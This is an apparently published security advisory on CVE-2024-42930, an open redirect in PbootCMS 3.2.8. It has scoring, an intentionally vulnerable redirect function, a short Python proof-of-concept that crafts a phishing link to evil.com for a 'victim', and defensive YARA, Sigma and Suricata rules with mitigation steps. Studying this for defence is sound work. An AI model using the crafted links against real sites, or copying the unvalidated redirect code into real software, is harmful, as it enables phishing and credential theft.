CVE-2024-42930

Executive Summary

CVE-2024-42930 identifies a URL Redirection vulnerability in PbootCMS version 3.2.8. This flaw allows an unauthenticated attacker to redirect users to arbitrary external domains, enabling phishing, credential harvesting, and malware distribution. The vulnerability is classified as an open redirect (CWE-601) and is publicly known with proof-of-concept code available. No official patch has been released by the vendor, leaving all instances of PbootCMS 3.2.8 exposed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the PbootCMS PHP application directly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction (clicking a crafted link). However, the potential for phishing and social engineering attacks makes this a significant risk for organizations using PbootCMS.

Deep Dive & Mechanics

The vulnerability resides in the URL handling mechanism of PbootCMS 3.2.8. The application fails to properly validate or sanitize user-supplied input used in redirect operations. An attacker can craft a URL such as:

http://target.com/index.php?p=/&url=http://malicious.com

When a user clicks this link, the application processes the url parameter and performs an HTTP redirect to the attacker-controlled domain. The lack of validation allows arbitrary external URLs to be used, bypassing any intended domain whitelist.

The core issue is in the redirect() function or similar logic that constructs the Location header without checking if the target domain is trusted. This is a classic open redirect vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (PbootCMS 3.2.8):

// Example of vulnerable redirect logic
function redirect($url) {
    header('Location: ' . $url);
    exit;
}

// Usage in a controller
$redirect_url = $_GET['url'];
redirect($redirect_url);

Patched Code (Hypothetical Fix):

// Patched version with URL validation
function redirect($url) {
    $allowed_hosts = ['example.com', 'www.example.com'];
    $parsed_url = parse_url($url);
    if (in_array($parsed_url['host'], $allowed_hosts)) {
        header('Location: ' . $url);
        exit;
    } else {
        // Log or show error
        echo "Invalid redirect target.";
    }
}

The patched code validates the host against a whitelist before performing the redirect. Without an official patch, administrators must implement similar validation manually.

Exploitation & Lab Setup

Red Team

Proof-of-Concept Exploit:

import requests

target = "http://target.com"
malicious_url = "http://evil.com/phishing"

# Craft the malicious redirect URL
exploit_url = f"{target}/index.php?p=/&url={malicious_url}"

print(f"Send this link to the victim: {exploit_url}")

# Verify the redirect
response = requests.get(exploit_url, allow_redirects=False)
if response.status_code == 302:
    print(f"Redirect to: {response.headers['Location']}")
else:
    print("Exploit failed")

Lab Setup:

1. Deploy a vulnerable PbootCMS 3.2.8 instance using Docker or a local web server.
2. Set up a simple HTTP server to simulate the attacker's malicious site.
3. Execute the exploit script to verify the redirect.

Blue Team

Detection and Prevention:

• Monitor web server logs for suspicious url parameters in requests.
• Implement a Web Application Firewall (WAF) rule to block requests with external redirect targets.
• Conduct user awareness training to recognize phishing links.

Lab Setup for Testing:

1. Use a SIEM (e.g., Splunk, ELK) to ingest web server logs.
2. Create a detection rule that flags requests containing url=http:// or url=https:// in the query string.
3. Simulate an attack and verify the alert triggers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing url=http:// or url=https:// in the query string.
  • Outbound connections to known malicious domains after a redirect.
• File IOCs:
  • Log entries with 302 status codes and Location headers pointing to external domains.
• Behavioral IOCs:
  • Users reporting unexpected redirects to unfamiliar websites.

Detection Engineering

YARA Rule

rule Detect_PbootCMS_Open_Redirect {
    meta:
        description = "Detects PbootCMS open redirect attempts in web logs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-42930"
    strings:
        $redirect_param = "url=" nocase
        $pboot_path = "/index.php?p=" nocase
    condition:
        $redirect_param and $pboot_path
}

Sigma Rule

title: PbootCMS Open Redirect Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-42930 in PbootCMS
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/index.php?p=/&url='
    condition: selection
falsepositives:
    - Legitimate redirects to trusted domains (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42930 PbootCMS Open Redirect Attempt"; flow:to_server,established; content:"/index.php?p=/&url="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the vulnerable redirect functionality by modifying the application code to validate all redirect targets against a whitelist of allowed domains.
2. WAF Rule: Deploy a WAF rule to block requests containing url= in the query string unless the target is a trusted domain.
3. User Education: Train users to be cautious of links containing url= parameters and to verify the final destination before clicking.
4. Monitor Logs: Regularly review web server logs for signs of exploitation.
5. Vendor Contact: Reach out to PbootCMS for an official patch. If none is available, consider migrating to a supported CMS.

Valters IT
Securing Digital Frontiers